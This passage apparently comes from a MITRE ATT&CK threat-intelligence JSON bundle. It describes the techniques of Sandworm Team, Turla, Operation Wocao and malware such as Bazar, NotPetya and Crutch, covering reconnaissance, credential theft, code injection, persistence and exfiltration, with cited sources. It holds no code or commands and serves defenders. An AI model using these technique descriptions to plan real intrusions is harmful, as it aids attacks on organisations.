            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) conducted technical reconnaissance of the Parliament of Georgia's official internet domain prior to its 2019 attack.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                },
                {
                    "source_name": "UK NCSC Olympic Attacks October 2020",
                    "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games",
                    "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) defaced approximately 15,000 websites belonging to Georgian government, non-government, and private sector organizations in 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)",
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has conducted research against potential victim websites as part of its operational planning.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used stolen credentials to access administrative accounts within the domain.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) had gathered user, IP address, and server data related to RDP sessions on a compromised host. It has also accessed network diagram files useful for understanding how a host's network was configured.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used PowerShell scripts to run a credential harvesting tool in memory to evade defenses.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has acquired open-source tools for some of it's operations; for example it acquired [Invoke-PSImage](https://attack.mitre.org/software/S0231) to establish an encrypted channel from a compromised host to [Sandworm Team](https://attack.mitre.org/groups/G0034)'s C2 server as part of its preparation for the 2018 Winter Olympics attack.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--59116a0e-f23b-43ec-8b25-fbad5043344a",
            "type": "relationship",
            "modified": "2020-11-25T22:46:47.513Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327",
            "external_references": [
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "In 2017, [Sandworm Team](https://attack.mitre.org/groups/G0034) conducted technical research related to vulnerabilities associated with websites used by the Korean Sport and Olympic Committee, a Korean power company, and a Korean airport.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--02804eca-a840-4ffe-8abd-60705d3456e4",
            "type": "relationship",
            "modified": "2020-11-25T22:46:47.604Z",
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        },
        {
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            ],
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            "external_references": [
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has scanned network infrastructure for vulnerabilities as part of its operational planning.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--105a37da-145b-4143-8641-566350cd143c",
            "type": "relationship",
            "modified": "2020-11-25T22:46:47.615Z",
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        },
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            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f",
            "external_references": [
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "In preparation for its attack against the 2018 Winter Olympics, [Sandworm Team](https://attack.mitre.org/groups/G0034) conducted online research of partner organizations listed on an official PyeongChang Olympics partnership site.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--c2ebda8d-2f91-440c-85b1-36fa969300a5",
            "type": "relationship",
            "modified": "2021-01-06T21:30:47.871Z",
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        },
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            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has enumerated files on a compromised host.(Citation: US District Court Indictment GRU Unit 74455 October 2020) ",
            "relationship_type": "uses",
            "id": "relationship--62f2c1a6-3019-44a0-a750-794677ddabd0",
            "type": "relationship",
            "modified": "2021-01-06T21:30:47.916Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has collected the username from a compromised host.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--ef041776-abd8-4e6f-8737-07e724e68cd1",
            "type": "relationship",
            "modified": "2020-11-25T22:46:47.714Z",
            "created": "2020-11-25T22:46:47.714Z"
        },
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            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "external_references": [
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has exfiltrated internal documents, files, and other data from compromised hosts.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--f892dddf-79a7-4d11-94b3-5df0c37d134a",
            "type": "relationship",
            "modified": "2020-11-25T22:46:47.727Z",
            "created": "2020-11-25T22:46:47.726Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365",
            "external_references": [
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) researched Ukraine's unique legal entity identifier (called an \"EDRPOU\" number), including running queries on the EDRPOU website, in preparation for the [NotPetya](https://attack.mitre.org/software/S0368) attack. [Sandworm Team](https://attack.mitre.org/groups/G0034) has also researched third-party websites to help it craft credible spearphishing emails.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--fac15889-5e75-4d1d-b624-294581c299ca",
            "type": "relationship",
            "modified": "2020-11-25T22:46:47.790Z",
            "created": "2020-11-25T22:46:47.790Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884",
            "external_references": [
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has researched software code to enable supply-chain operations, most notably for the 2017 [NotPetya](https://attack.mitre.org/software/S0368) attack. [Sandworm Team](https://attack.mitre.org/groups/G0034) also collected a list of computers using specific software as part of its targeting efforts.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--9f10e334-ae5f-4d8e-8229-64408fef1fd1",
            "type": "relationship",
            "modified": "2021-01-06T21:30:47.919Z",
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        {
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            ],
            "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "Cybereason Bazar July 2020",
                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
                    "source_name": "NCC Group Team9 June 2020",
                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "The [Bazar](https://attack.mitre.org/software/S0534) loader has named malicious shortcuts adobe.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)",
            "relationship_type": "uses",
            "id": "relationship--78ba82a1-e803-42c1-b112-ce999369d348",
            "type": "relationship",
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        {
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            "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0",
            "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
            "external_references": [
                {
                    "source_name": "Cybereason Bazar July 2020",
                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
                    "source_name": "Zscaler Bazar September 2020",
                    "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware",
                    "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."
                }
            ],
            "description": "The [Bazar](https://attack.mitre.org/software/S0534) loader is used to download and execute the [Bazar](https://attack.mitre.org/software/S0534) backdoor.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)",
            "relationship_type": "uses",
            "id": "relationship--711879b6-a9ac-42c6-a6a0-244b03890cec",
            "type": "relationship",
            "modified": "2020-11-30T16:01:32.332Z",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0",
            "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
            "external_references": [
                {
                    "source_name": "Cybereason Bazar July 2020",
                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
                    "source_name": "Zscaler Bazar September 2020",
                    "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware",
                    "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) downloads have been hosted on Google Docs.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)",
            "relationship_type": "uses",
            "id": "relationship--d5f0ff09-374d-45f6-b7d8-45466bf0ecf0",
            "type": "relationship",
            "modified": "2020-11-30T16:01:32.397Z",
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        },
        {
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            ],
            "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "external_references": [
                {
                    "source_name": "Cybereason Bazar July 2020",
                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can inject code through calling <code>VirtualAllocExNuma</code>.(Citation: Cybereason Bazar July 2020)",
            "relationship_type": "uses",
            "id": "relationship--227624a1-7dda-4691-89b3-49336aa68bfa",
            "type": "relationship",
            "modified": "2020-11-30T16:35:35.610Z",
            "created": "2020-11-30T16:35:35.610Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0",
            "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "external_references": [
                {
                    "source_name": "Zscaler Bazar September 2020",
                    "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware",
                    "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can use Winlogon Helper DLL to establish persistence.(Citation: Zscaler Bazar September 2020)",
            "relationship_type": "uses",
            "id": "relationship--8dd22b15-a9bb-4acc-8fac-e366756ab50b",
            "type": "relationship",
            "modified": "2020-11-30T16:43:50.910Z",
            "created": "2020-11-30T16:43:50.910Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "Cybereason Bazar July 2020",
                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
                    "source_name": "NCC Group Team9 June 2020",
                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can enumerate the victim's desktop.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)",
            "relationship_type": "uses",
            "id": "relationship--0a2c9965-291c-4724-829b-3cd5e8b26b58",
            "type": "relationship",
            "modified": "2020-12-01T14:36:15.122Z",
            "created": "2020-11-30T16:54:23.460Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "external_references": [
                {
                    "source_name": "Cybereason Bazar July 2020",
                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
                    "source_name": "NCC Group Team9 June 2020",
                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can establish persistence by writing shortcuts to the Windows Startup folder.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)",
            "relationship_type": "uses",
            "id": "relationship--ed61e0a2-f6a7-43b1-b58e-aa0ab9c51c4e",
            "type": "relationship",
            "modified": "2020-12-01T14:15:38.037Z",
            "created": "2020-11-30T16:54:23.532Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "external_references": [
                {
                    "source_name": "Cybereason Bazar July 2020",
                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can execute a WMI query to gather information about the installed antivirus engine.(Citation: Cybereason Bazar July 2020)(Citation: DFIR Ryuk's Return October 2020)",
            "relationship_type": "uses",
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                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has crafted spearphishing emails with hyperlinks designed to trick unwitting recipients into revealing their account credentials.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034)'s research of potential victim organizations included the identification and collection of employee information.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has obtained valid emails addresses while conducting research against target organizations that were subsequently used in spearphishing campaigns.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) searches for files ending with dozens of different file extensions prior to encryption.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) determines if specific antivirus programs are running on an infected host machine.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can enumerate remote systems using <code> Net View</code>.(Citation: Cybereason Bazar July 2020)",
            "relationship_type": "uses",
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                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
                },
                {
                    "source_name": "NCC Group Team9 June 2020",
                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can use [Nltest](https://attack.mitre.org/software/S0359) tools to obtain information about the domain.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)",
            "relationship_type": "uses",
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                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can delete its loader using a batch file in the Windows temporary folder.(Citation: NCC Group Team9 June 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
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                {
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                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can send C2 communications with XOR encryption.(Citation: NCC Group Team9 June 2020)",
            "relationship_type": "uses",
            "id": "relationship--7a41dd37-a5a0-4469-9ed9-74eb8ac57af3",
            "type": "relationship",
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            "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
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                {
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                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can use a timer to delay execution of core functionality.(Citation: NCC Group Team9 June 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
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                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can execute a PowerShell script received from C2.(Citation: NCC Group Team9 June 2020)",
            "relationship_type": "uses",
            "id": "relationship--2cd5235f-1f0b-4f58-a931-d3b940b62cbf",
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            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
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                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can identify the username of the infected user.(Citation: NCC Group Team9 June 2020)",
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                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can enumerate shared drives on the domain.(Citation: NCC Group Team9 June 2020)",
            "relationship_type": "uses",
            "id": "relationship--203108df-424d-4dfe-ac45-3cbd84c71615",
            "type": "relationship",
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                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) can identify administrator accounts on an infected host.(Citation: NCC Group Team9 June 2020)",
            "relationship_type": "uses",
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                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                },
                {
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            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) has the ability to identify domain administrator accounts.(Citation: NCC Group Team9 June 2020)(Citation: DFIR Ryuk's Return October 2020)",
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            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
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                    "source_name": "Trend Micro MacOS Backdoor November 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html",
                    "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."
                }
            ],
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has disguised its app bundle by adding special characters to the filename and using the icon for legitimate Word documents.(Citation: Trend Micro MacOS Backdoor November 2020)",
            "relationship_type": "uses",
            "id": "relationship--9e6bbb1a-95c6-4f51-9aff-6b424c731cfc",
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            "target_ref": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e",
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                    "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."
                }
            ],
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can delete the file quarantine attribute.(Citation: Trend Micro MacOS Backdoor November 2020)",
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                }
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                }
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                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has created web accounts including Dropbox and GitHub for C2 and document exfiltration.(Citation: ESET Crutch December 2020)",
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                }
            ],
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            ],
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            ],
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            ],
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            ],
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            ],
            "description": "[Crutch](https://attack.mitre.org/software/S0538) has exfiltrated stolen data to Dropbox.(Citation: ESET Crutch December 2020)",
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            ],
            "description": "[Crutch](https://attack.mitre.org/software/S0538) has automatically exfiltrated stolen files to Dropbox.(Citation: ESET Crutch December 2020)",
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                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020."
                }
            ],
            "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has used local account credentials found during the intrusion for lateral movement and privilege escalation.(Citation: FoxIT Wocao December 2019)",
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                }
            ],
            "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has used domain credentials, including domain admin, for lateral movement and privilege escalation.(Citation: FoxIT Wocao December 2019)",
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            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
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                {
                    "source_name": "FoxIT Wocao December 2019",
                    "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf",
                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020."
                }
            ],
            "description": "(Citation: FoxIT Wocao December 2019)",
            "relationship_type": "uses",
            "id": "relationship--79cf94d7-1100-4f76-8fce-c1a9a7d53876",
            "type": "relationship",
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                {
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                    "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf",
                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020."
                }
            ],
            "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has used a custom collection method to intercept two-factor authentication soft tokens.(Citation: FoxIT Wocao December 2019)",
            "relationship_type": "uses",
            "id": "relationship--5c78972e-58c6-435c-ab1c-be6488265795",
            "type": "relationship",
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            "target_ref": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6",
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                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/",
                    "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."
                }
            ],
            "description": "[Melcoz](https://attack.mitre.org/software/S0530) can monitor the clipboard for cryptocurrency addresses and change the intended address to one controlled by the adversary.(Citation: Securelist Brazilian Banking Malware July 2020)",
            "relationship_type": "uses",
            "id": "relationship--0d1bf687-ad42-45e6-bd52-34c6a14accad",
            "type": "relationship",
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                    "source_name": "Securelist Brazilian Banking Malware July 2020",
                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/",
                    "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."
                }
            ],
            "description": "[Melcoz](https://attack.mitre.org/software/S0530) has been distributed through an AutoIt loader script.(Citation: Securelist Brazilian Banking Malware July 2020)",
            "relationship_type": "uses",
            "id": "relationship--2a9d9c0a-1c8b-4f80-bdd2-9ba8394cb625",
            "type": "relationship",
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            "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
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                {
                    "source_name": "ESET Crutch December 2020",
                    "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/",
                    "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020."
                }
            ],
